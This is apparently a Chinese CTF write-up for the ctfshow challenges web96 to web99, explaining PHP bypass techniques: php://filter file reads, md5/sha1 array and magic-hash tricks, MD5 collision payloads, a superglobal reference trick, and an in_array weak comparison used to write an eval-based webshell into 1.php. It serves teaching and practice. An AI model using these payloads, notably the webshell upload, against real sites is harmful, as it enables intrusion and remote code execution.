目录
1、web96
2、web97
3、web98
4、web99
1、web96
试了下通配、转义、拼接、大小写都不行
这里使用绝对路径或者当前路径绕过:
?u=./flag.php
?u=/var/www/html/flag.php
还可以使用 php 伪协议:
?u=php://filter/resource=flag.php
2、web97
关于 sha1 和 md5 的绕过可以参考我之前的博客:
PHP特性之CTF中常见的PHP绕过-CSDN博客
(1)对于php强比较和弱比较:md5() 和 sha1() 函数无法处理数组,如果传入的为数组,会返回NULL,两个数组经过加密后得到的都是NULL,也就是相等的。
使用数组绕过,payload:
a[]=1&b[]=2
拿到 flag:ctfshow{2e3efa82-aa01-4871-b26d-7b8cd6b1d449}
(2)对于某些特殊的字符串加密后得到的密文以0e开头,PHP会当作科学计数法来处理,也就是0的n次方,得到的值比较的时候都相同。
下面是常见的加密后密文以0e开头的字符串:
md5:240610708:0e462097431906509019562988736854
QLTHNDT:0e405967825401955372549139051580
QNKCDZO:0e830400451993494058024219903391
PJNPDWY:0e291529052894702774557631701704
NWWKITQ:0e763082070976038347657360817689
NOOPCJF:0e818888003657176127862245791911
MMHUWUV:0e701732711630150438129209816536
MAUXXQC:0e478478466848439040434801845361sha1:10932435112: 0e07766915004133176347055865026311692244
aaroZmOk: 0e66507019969427134894567494305185566735
aaK1STfY: 0e76658526655756207688271159624026011393
aaO8zKZF: 0e89257456677279068558073954252716165668
aa3OFF9m: 0e36977786278517984959260394024281014729
0e1290633704: 0e19985187802402577070739524195726831799
但是这里并不是弱比较,因此该方法不行:
对于 md5 强碰撞,我们需要找到两个 md5 值真正相同的数据。
(1)
十六进制格式的两个不同字符串:
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa200a8284bf36e8e4b55b35f427593d849676da0d1555d8360fb5f07fea2
4dc968ff0ee35c209572d4777b721587d36fa7b21bdc56b74a3dc0783e7b9518afbfa202a8284bf36e8e4b55b35f427593d849676da0d1d55d8360fb5f07fea2
两者都有 MD5 哈希:
008ee33a9d58b51cfeb425b0959121c9
(2)
0e306561559aa787d00bc6f70bbdfe3404cf03659e704f8534c00ffb659c4c8740cc942feb2da115a3f4155cbb8607497386656d7d1f34a42059d78f5a8dd1ef
0e306561559aa787d00bc6f70bbdfe3404cf03659e744f8534c00ffb659c4c8740cc942feb2da115a3f415dcbb8607497386656d7d1f34a42059d78f5a8dd1ef
两者都有 MD5 哈希:
cee9a457e790cf20d4bdaa6d69f01e41
但是这些十六进制里存在一些不可见字符:
因此我们采用 url 编码来构造 payload:
有点奇怪我这里顺着转出来和下面的 payload 有点差别,但是下面的 payload 逆着转回去又是和上面的十六进制值完全一样。
a=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%00%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1U%5D%83%60%FB_%07%FE%A2&b=M%C9h%FF%0E%E3%5C%20%95r%D4w%7Br%15%87%D3o%A7%B2%1B%DCV%B7J%3D%C0x%3E%7B%95%18%AF%BF%A2%02%A8%28K%F3n%8EKU%B3_Bu%93%D8Igm%A0%D1%D5%5D%83%60%FB_%07%FE%A2
后面又看了一下:
开头 M 之后的字符确实应该被转成 %C9 才是对的
但是 %C3%89 也是转成这个东西
按照这样转出来的 payload 打不通,还是要使用上面给的那个 %C9 的payload。
3、web98
这里出现了 PHP 中的三元运算符:形如 XXXX?XX:xx
如果条件 XXXX 成立,则执行冒号前边的 XX,否则执行冒号后面的 xx
比如:isset($_GET['id']) ? $_GET['id'] : 1;
isset()函数用于检查变量是否设置,如果设置了,则 id=$_GET['id'],否则 id=1。
接下来我们分析下题目代码:
$_GET?$_GET=&$_POST:'flag';
$_GET 变量是一个数组,预定义的 $_GET 变量用于收集来自 method="get" 的表单中的值,表单域的名称会自动成为 $_GET 数组中的键。
如果 $_GET 不为空,也就是说我们进行了 get 传参,那么就会通过 $_GET = &$_POST 将 $_POST 的引用赋值给 $_GET,引用赋值导致两个变量指向同一个内存地址,而 $_POST 变量内容改变会影响 $_GET 变量的内容;如果 $_GET 为空则返回 'flag'。
$_GET['flag']=='flag'?$_GET=&$_COOKIE:'flag';
$_GET['flag']=='flag'?$_GET=&$_SERVER:'flag';
中间的两段代码其实没什么影响,都是根据 get 请求变量 flag 值是否为 'flag',是的话就进行引用赋值,不是的话就返回 'flag',我们只想获取 $flag。
highlight_file($_GET['HTTP_FLAG']=='flag'?$flag:__FILE__);
判断 get 请求变量 HTTP_FLAG 值是否为 'flag',是就输出 $flag,不是则返回当前脚本的绝对路径和文件名。
payload:
?HTTP_FLAG=flag
post:
HTTP_FLAG=flag
拿到 flag:ctfshow{ba1bc737-de2f-45f5-9e24-a65bec06b0f9}
当然这里的 get 请求其实可以是随意的,由于第一段代码的引用赋值,post 进去的内容会直接替代掉 get 的内容,因此只要存在 get 请求即可触发。
4、web99
代码审计:
$allow = array();
创建了一个空数组 $allow,用来存储后续生成的随机数。
for ($i=36; $i < 0x36d; $i++) {
for 循环,从 $i 初始化为 36,逐步增加直到 0x36d(十六进制表示的 877)。
array_push($allow, rand(1,$i));
在每次循环中,使用 rand(1, $i) 函数生成一个 1 到 $i 之间的随机数(也就是 1~877),并将其添加到 $allow 数组中。
if(isset($_GET['n']) && in_array($_GET['n'], $allow)){
检查是否设置了名为 n 的 GET 参数,并且确保它的值在 $allow 数组中。
file_put_contents($_GET['n'], $_POST['content']);
如果 $_GET['n'] 的值在 $allow 数组中,将 $_POST['content'] 的内容写入文件 $_GET['n'] 中。
接下来我们先看一个关于 in_array 函数的小测试:
<?php
$allow = [1,2,3];
$a = '2.php';
echo in_array($a,$allow)
?>
结论:in_array() 函数存在弱比较的漏洞,如果没有设置第三个参数,in_array() 函数在比较时默认是弱类型比较,这意味着它会进行自动类型转换。例如数组中的元素是整数,而搜索的值是字符串,PHP 会尝试将字符串转换为整数来进行比较。比如上面字符串类型的 1.php 就自动转换为了整数 1,也就符合在数组中的条件。
关于 in_array() 函数的参数和用法:
参数 | 描述 |
---|---|
needle | 必需。规定要在数组搜索的值。 |
haystack | 必需。规定要搜索的数组。 |
strict | 可选。如果该参数设置为 TRUE,则 in_array() 函数检查搜索的数据与数组的值的类型是否相同。 |
因此我们的文件名的数字只要符合在 1~877 之间,理论上来说就都可以写入一句话木马。
保险起见我们使用大概率会出现的,比如 1 ,多试几次。
写入一句话木马
get:
?n=1.php
post:
content=<?=eval($_REQUEST['1'])?>
调用:
读取 flag:
ctfshow{d3a99707-235d-4b10-a9e7-551000feba02}